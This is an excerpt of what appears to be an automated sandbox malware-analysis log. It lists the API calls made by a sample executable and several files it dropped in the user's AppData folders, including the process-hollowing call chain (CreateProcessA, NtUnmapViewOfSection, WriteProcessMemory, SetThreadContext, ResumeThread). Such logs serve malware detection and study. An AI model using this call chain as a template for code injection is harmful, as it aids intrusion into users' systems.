Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_2_00401866 Sleep,NtTerminateProcess,	3_2_00401866
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_2_0040187A Sleep,NtTerminateProcess,	3_2_0040187A
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_2_0040163B NtMapViewOfSection,	3_2_0040163B
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_2_004018D3 NtTerminateProcess,	3_2_004018D3
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_2_00401884 Sleep,NtTerminateProcess,	3_2_00401884
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_2_00401888 NtTerminateProcess,	3_2_00401888
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_2_0040156A NtMapViewOfSection,	3_2_0040156A
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	3_2_004015DB
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_2_004017EA Sleep,NtTerminateProcess,	3_2_004017EA
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_1_0040156A NtMapViewOfSection,	3_1_0040156A
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_1_004015DB NtMapViewOfSection,NtMapViewOfSection,	3_1_004015DB
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe	Code function: 3_1_0040163B NtMapViewOfSection,	3_1_0040163B
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 17_2_00960110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	17_2_00960110
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 18_2_02CB0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	18_2_02CB0110
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 19_2_0040185B Sleep,NtTerminateProcess,	19_2_0040185B
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 19_2_00401866 Sleep,NtTerminateProcess,	19_2_00401866
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 19_2_0040187A Sleep,NtTerminateProcess,	19_2_0040187A
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 19_2_0040163B NtMapViewOfSection,	19_2_0040163B
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 19_2_004018D3 NtTerminateProcess,	19_2_004018D3
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 19_2_00401884 Sleep,NtTerminateProcess,	19_2_00401884
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 19_2_00401888 NtTerminateProcess,	19_2_00401888
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 19_2_0040156A NtMapViewOfSection,	19_2_0040156A
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 19_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	19_2_004015DB
Source: C:\Users\user\AppData\Roaming\bsstvub	Code function: 19_2_004017EA Sleep,NtTerminateProcess,	19_2_004017EA
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_2_0040185B Sleep,NtTerminateProcess,	20_2_0040185B
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_2_00401866 Sleep,NtTerminateProcess,	20_2_00401866
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_2_0040187A Sleep,NtTerminateProcess,	20_2_0040187A
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_2_0040163B NtMapViewOfSection,	20_2_0040163B
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_2_004018D3 NtTerminateProcess,	20_2_004018D3
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_2_00401884 Sleep,NtTerminateProcess,	20_2_00401884
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_2_00401888 NtTerminateProcess,	20_2_00401888
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_2_0040156A NtMapViewOfSection,	20_2_0040156A
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	20_2_004015DB
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_2_004017EA Sleep,NtTerminateProcess,	20_2_004017EA
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_1_0040156A NtMapViewOfSection,	20_1_0040156A
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_1_004015DB NtMapViewOfSection,NtMapViewOfSection,	20_1_004015DB
Source: C:\Users\user\AppData\Local\Temp\12C6.exe	Code function: 20_1_0040163B NtMapViewOfSection,	20_1_0040163B
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe	Code function: 24_2_031B0040 NtResumeThread,	24_2_031B0040
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_0040181C Sleep,NtTerminateProcess,	29_2_0040181C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_00402406 NtEnumerateKey,	29_2_00402406
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_00401F25 NtQuerySystemInformation,	29_2_00401F25
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_00401828 Sleep,NtTerminateProcess,	29_2_00401828
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_00402431 NtEnumerateKey,	29_2_00402431
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_004017DA Sleep,NtTerminateProcess,	29_2_004017DA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_004017F8 NtTerminateProcess,	29_2_004017F8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_0040209A NtQuerySystemInformation,	29_2_0040209A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_004017A3 Sleep,NtTerminateProcess,	29_2_004017A3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49660 ZwAllocateVirtualMemory,LdrInitializeThunk,	29_2_6CE49660
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4967A NtQueryInformationProcess,LdrInitializeThunk,	29_2_6CE4967A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49600 ZwOpenKey,LdrInitializeThunk,	29_2_6CE49600
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49780 ZwMapViewOfSection,LdrInitializeThunk,	29_2_6CE49780
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE498C0 ZwDuplicateObject,LdrInitializeThunk,	29_2_6CE498C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49860 ZwQuerySystemInformation,LdrInitializeThunk,	29_2_6CE49860
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49820 ZwEnumerateKey,LdrInitializeThunk,	29_2_6CE49820
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE499A0 ZwCreateSection,LdrInitializeThunk,	29_2_6CE499A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0F4E3 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	29_2_6CE0F4E3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91CE4 ZwQueryInformationProcess,	29_2_6CE91CE4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB64FB ZwOpenKey,ZwQueryValueKey,RtlEqualUnicodeString,RtlEqualUnicodeString,RtlEqualUnicodeString,ZwClose,	29_2_6CEB64FB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC14FB memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CEC14FB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8CD6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8CD6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02CDB RtlFreeHeap,ZwClose,ZwSetEvent,	29_2_6CE02CDB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED4CAB ZwTraceControl,	29_2_6CED4CAB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED9CB3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED9CB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4A480 ZwInitializeNlsFiles,	29_2_6CE4A480
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC4496 ZwAllocateVirtualMemory,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE83C93 wcschr,RtlInitUnicodeString,wcstoul,RtlAnsiStringToUnicodeString,RtlCompareUnicodeString,ZwProtectVirtualMemory,DbgPrintEx,RtlFreeUnicodeString,	29_2_6CE83C93
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB3C60 RtlFlushSecureMemoryCache,ZwQueryVirtualMemory,	29_2_6CEB3C60
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2746D RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	29_2_6CE2746D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49C70 ZwAlpcConnectPort,	29_2_6CE49C70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE45C70 TpSetPoolMaxThreadsSoftLimit,ZwSetInformationWorkerFactory,	29_2_6CE45C70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3AC7B ZwFreeVirtualMemory,RtlFillMemoryUlong,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,	29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8C75 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8C75
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91C76 ZwQueryInformationProcess,	29_2_6CE91C76
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91C49 ZwQueryInformationProcess,	29_2_6CE91C49
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49C40 ZwAllocateVirtualMemoryEx,	29_2_6CE49C40
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE05450 RtlClearThreadWorkOnBehalfTicket,memcmp,RtlClearThreadWorkOnBehalfTicket,ZwSetInformationThread,	29_2_6CE05450
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4A420 ZwGetNlsSectionPtr,	29_2_6CE4A420
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2FC39 ZwAssociateWaitCompletionPacket,	29_2_6CE2FC39
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE40413 ZwUnmapViewOfSection,	29_2_6CE40413
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8C14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8C14
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1411 ZwTraceEvent,	29_2_6CEC1411
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49DE0 ZwAssociateWaitCompletionPacket,	29_2_6CE49DE0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE095F0 TpSetPoolMinThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMinThreads,	29_2_6CE095F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBBDFA RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	29_2_6CEBBDFA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE495F0 ZwQueryInformationFile,	29_2_6CE495F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE04DC0 RtlpUnWaitCriticalSection,RtlWakeAddressAllNoFence,RtlRaiseStatus,TpWaitForAlpcCompletion,RtlpUnWaitCriticalSection,ZwSetEvent,TpWaitForAlpcCompletion,ZwAlpcQueryInformation,	29_2_6CE04DC0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE495C0 ZwSetEvent,	29_2_6CE495C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2EDC4 ZwCancelWaitCompletionPacket,	29_2_6CE2EDC4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE045D0 RtlGetThreadWorkOnBehalfTicket,RtlGetThreadWorkOnBehalfTicket,ZwQueryInformationThread,	29_2_6CE045D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE495D0 ZwClose,	29_2_6CE495D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBFDD3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CEBFDD3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE065A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,	29_2_6CE065A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49DA0 ZwAlpcSendWaitReceivePort,	29_2_6CE49DA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE495B0 ZwSetInformationThread,	29_2_6CE495B0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49DB0 ZwAlpcSetInformation,	29_2_6CE49DB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE1DD80 RtlAcquireSRWLockShared,ZwQueryVirtualMemory,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlRaiseStatus,RtlAddressInSectionTable,RtlImageDirectoryEntryToData,	29_2_6CE1DD80
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CECB581 RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CECB581
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC1582 ZwTraceEvent,	29_2_6CEC1582
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03591 ZwSetInformationFile,	29_2_6CE03591
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91D6A ZwWaitForMultipleObjects,	29_2_6CE91D6A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEC6D61 ZwAllocateVirtualMemoryEx,	29_2_6CEC6D61
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49D70 ZwAlpcQueryInformation,	29_2_6CE49D70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91570 ZwQuerySystemInformation,RtlInitUnicodeString,memset,ZwAlpcConnectPort,ZwAlpcSendWaitReceivePort,ZwClose,	29_2_6CE91570
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91D43 ZwQueryInformationThread,	29_2_6CE91D43
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED1D55 ZwFreeVirtualMemory,RtlWakeAddressAllNoFence,	29_2_6CED1D55
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE31520 RtlInitializeCriticalSectionEx,RtlInitializeCriticalSectionEx,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49520 ZwWaitForSingleObject,	29_2_6CE49520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBFD22 ZwQueryInformationProcess,RtlUniform,	29_2_6CEBFD22
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE34D3B memset,RtlRunOnceExecuteOnce,ZwTraceControl,memcmp,RtlNtStatusToDosError,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	29_2_6CE34D3B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8D34 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8D34
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE91D0B ZwSetInformationProcess,	29_2_6CE91D0B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE496E0 ZwFreeVirtualMemory,	29_2_6CE496E0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0B6F0 EtwEventWriteNoRegistration,ZwTraceEvent,RtlNtStatusToDosError,	29_2_6CE0B6F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE916FA ZwQueryWnfStateNameInformation,ZwUpdateWnfStateData,EtwEventWriteNoRegistration,	29_2_6CE916FA
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE5DEF0 RtlRaiseException,RtlCaptureContext,ZwRaiseException,RtlRaiseStatus,	29_2_6CE5DEF0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2E6F9 ZwAlpcSetInformation,	29_2_6CE2E6F9
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE496C0 ZwSetInformationProcess,	29_2_6CE496C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE39ED0 RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlAcquireSRWLockShared,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,ZwWaitForAlertByThreadId,	29_2_6CE39ED0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE496D0 ZwCreateKey,	29_2_6CE496D0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE066D4 RtlInitUnicodeString,ZwQueryValueKey,	29_2_6CE066D4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02ED8 ZwWaitForAlertByThreadId,ZwWaitForAlertByThreadId,	29_2_6CE02ED8
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8ED6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8ED6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE92EA3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CE92EA3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED3EBC ZwTraceControl,RtlNtStatusToDosError,RtlSetLastWin32Error,	29_2_6CED3EBC
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE2E6B0 RtlSetThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,RtlSetThreadWorkOnBehalfTicket,	29_2_6CE2E6B0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE03E80 RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CE03E80
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBBE9B RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	29_2_6CEBBE9B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3DE9E RtlAcquireSRWLockExclusive,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwUnsubscribeWnfStateChange,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlFreeHeap,	29_2_6CE3DE9E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02E9F ZwCreateEvent,ZwClose,	29_2_6CE02E9F
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3BE62 ZwProtectVirtualMemory,RtlGetCurrentTransaction,RtlGetCurrentTransaction,	29_2_6CE3BE62
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4AE70 ZwSetInformationWorkerFactory,	29_2_6CE4AE70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49670 ZwQueryInformationProcess,	29_2_6CE49670
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4B640 RtlUnhandledExceptionFilter,ZwTerminateProcess,	29_2_6CE4B640
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4B650 RtlUnhandledExceptionFilter,ZwTerminateProcess,	29_2_6CE4B650
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49650 ZwQueryValueKey,	29_2_6CE49650
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49E20 ZwCancelTimer2,	29_2_6CE49E20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED3E22 ZwTraceControl,RtlNtStatusToDosError,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,	29_2_6CED3E22
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0B630 ZwWaitForKeyedEvent,	29_2_6CE0B630
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBFE3F memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CEBFE3F
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49E30 ZwCancelWaitCompletionPacket,	29_2_6CE49E30
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0C600 LdrQueryImageFileKeyOption,RtlInitUnicodeStringEx,ZwQueryValueKey,LdrQueryImageFileKeyOption,RtlFreeHeap,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,RtlUnicodeStringToInteger,memcpy,	29_2_6CE0C600
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE92E14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CE92E14
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE90FEC ZwDuplicateObject,ZwDuplicateObject,	29_2_6CE90FEC
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE337EB RtlImageNtHeader,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,ZwCreateIoCompletion,ZwCreateWorkerFactory,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwSetInformationWorkerFactory,	29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE10FFD RtlInitUnicodeString,ZwQueryValueKey,	29_2_6CE10FFD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE0F7C0 EtwNotificationUnregister,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwClose,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,EtwNotificationUnregister,	29_2_6CE0F7C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE497C0 ZwTerminateProcess,	29_2_6CE497C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4AFD0 ZwShutdownWorkerFactory,	29_2_6CE4AFD0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3DFDF RtlWakeAddressAllNoFence,ZwAlertThreadByThreadId,RtlWakeAddressAllNoFence,	29_2_6CE3DFDF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE497A0 ZwUnmapViewOfSection,	29_2_6CE497A0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE43FA0 RtlGetLocaleFileMappingAddress,ZwInitializeNlsFiles,RtlGetLocaleFileMappingAddress,ZwUnmapViewOfSection,	29_2_6CE43FA0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE02FB0 RtlDestroyHeap,RtlDeleteCriticalSection,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlDestroyHeap,DbgPrint,DbgPrint,DbgPrint,RtlDebugPrintTimes,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEB5F87 ZwUnmapViewOfSection,	29_2_6CEB5F87
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE4AF60 ZwSetTimer2,	29_2_6CE4AF60
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE9176C ZwOpenEvent,ZwWaitForSingleObject,ZwClose,	29_2_6CE9176C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CED8F6A RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6CED8F6A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49F70 ZwCreateIoCompletion,	29_2_6CE49F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49770 ZwSetInformationFile,	29_2_6CE49770
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBCF70 RtlpGetUserOrMachineUILanguage4NLS,RtlInitUnicodeString,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,	29_2_6CEBCF70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49740 ZwOpenThreadToken,	29_2_6CE49740
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3174B ZwFreeVirtualMemory,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,	29_2_6CE3174B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE40F48 ZwOpenKey,ZwClose,ZwClose,ZwCreateKey,RtlInitUnicodeStringEx,ZwSetValueKey,RtlInitUnicodeStringEx,ZwSetValueKey,ZwClose,	29_2_6CE40F48
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49750 ZwQueryInformationThread,	29_2_6CE49750
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE3E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,	29_2_6CE3E730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49730 ZwQueryVirtualMemory,	29_2_6CE49730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CEBCF30 ZwAlertThreadByThreadId,	29_2_6CEBCF30
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE39702 RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwReleaseWorkerFactoryWorker,	29_2_6CE39702
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe	Code function: 29_2_6CE49710 ZwQueryInformationToken,	29_2_6CE49710
